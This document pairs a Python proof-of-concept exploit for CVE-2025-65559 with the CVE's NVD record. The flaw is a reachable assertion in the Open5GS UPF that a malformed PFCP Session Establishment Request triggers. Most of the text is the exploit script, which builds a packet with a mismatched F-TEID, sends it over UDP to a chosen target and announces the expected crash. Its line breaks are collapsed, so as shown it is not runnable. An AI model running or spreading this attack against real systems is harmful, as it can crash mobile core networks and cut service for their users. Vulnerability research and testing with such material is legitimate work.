CVE-2025-65559

import socket import struct # PFCP Header Structure # Version (3 bits) | Flags (3 bits) | Message Type (8 bits) | Length (32 bits) def build_pfcp_header(msg_type, length, sequence=1): version_flags = (1 << 5) | (0 << 4) | (0 << 3) # Version=1, S=0, MP=0 header = struct.pack('!BBHI', version_flags, msg_type, length, sequence) return header def build_f_teid_with_ch(ipv4_flag=1, ipv6_flag=0, choose_id=0, teid=0, ipv4_addr='10.0.0.1'): # F-TEID IE: Type=84, Length variable ie_type = 84 flags = (1 << 7) | (ipv4_flag << 5) | (ipv6_flag << 4) # CH=1, V6, V4 flags if ipv4_flag: addr_bytes = socket.inet_aton(ipv4_addr) elif ipv6_flag: addr_bytes = socket.inet_pton(socket.AF_INET6, '::1') else: addr_bytes = b'' # F-TEID structure: Flags(1) + TEID(4) + Choose ID(4) + IPv4(4) or IPv6(16) f_teid_data = bytes([flags]) + struct.pack('!I', teid) + struct.pack('!I', choose_id) + addr_bytes ie_data = struct.pack('!HH', ie_type, len(f_teid_data)) + f_teid_data return ie_data def build_create_pdr_with_mismatched_teid(): # Create PDR IE: Type=1 pdr_ie_type = 1 # PDI IE: Type=2 pdi_ie_type = 2 # Build F-TEID with CH=1 but mismatched address family # Set CH=1, IPv4 flag=1, but the DNN expects IPv6 - triggers assertion f_teid_ie = build_f_teid_with_ch(ipv4_flag=1, ipv6_flag=0, choose_id=1, ipv4_addr='192.168.1.1') pdi_content = f_teid_ie pdi_ie = struct.pack('!HH', pdi_ie_type, len(pdi_content)) + pdi_content pdr_content = pdi_ie pdr_ie = struct.pack('!HH', pdr_ie_type, len(pdr_content)) + pdr_content return pdr_ie def exploit_cve_2025_65559(target_ip, target_port=8805): """ PoC for CVE-2025-65559: Open5GS UPF crash via PFCP Session Establishment Sends a malicious PFCP Session Establishment Request with mismatched F-TEID """ # PFCP Session Establishment Request (Type=50) msg_type = 50 # Build Create PDR with PDI containing mismatched F-TEID create_pdr = build_create_pdr_with_mismatched_teid() # Node ID IE: Type=132 node_id = b'\x84\x00\x00\x0b' + b'\x00\x00\x00\x01' + socket.inet_aton('127.0.0.1') # F-SEID IE: Type=19 (for SEID establishment) f_seid = b'\x13\x00\x00\x09' + b'\x00\x00\x00\x00\x00\x00\x00\x01' + socket.inet_aton('127.0.0.1') # Combine all IEs ie_data = create_pdr + node_id + f_seid # Build PFCP header with total length total_length = len(ie_data) + 4 # +4 for SEID header = build_pfcp_header(msg_type, total_length) # Full message message = header + ie_data # Send to UPF sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(message, (target_ip, target_port)) print(f'[+] Sent malicious PFCP Session Establishment Request to {target_ip}:{target_port}') print(f'[+] Payload length: {len(message)} bytes') print('[+] Expected result: UPF assertion failure and crash') sock.close() if __name__ == '__main__': import sys target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' exploit_cve_2025_65559(target)

{"cve": {"id": "CVE-2025-65559", "sourceIdentifier": "[email protected]", "published": "2025-12-18T19:16:33.520", "lastModified": "2026-01-06T20:01:32.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Open5GS 2.7.5-49-g465e90f, when processing a PFCP Session Establishment Request (type=50), the UPF crashes with a reachable assertion in `lib/pfcp/context.c` (`ogs_pfcp_object_teid_hash_set`) if the CreatePDR?PDI?F-TEID has CH=1 and the F-TEID address-family flag(s) (IPv4/IPv6) do not match the GTP-U resource family configured for the selected DNN (Network Instance), resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:2.7.5:*:*:*:*:*:*:*", "matchCriteriaId": "604DC6E3-7BD6-4199-A49D-9A5CC77395A3"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/issues/4135", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/open5gs/open5gs/issues/4135", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}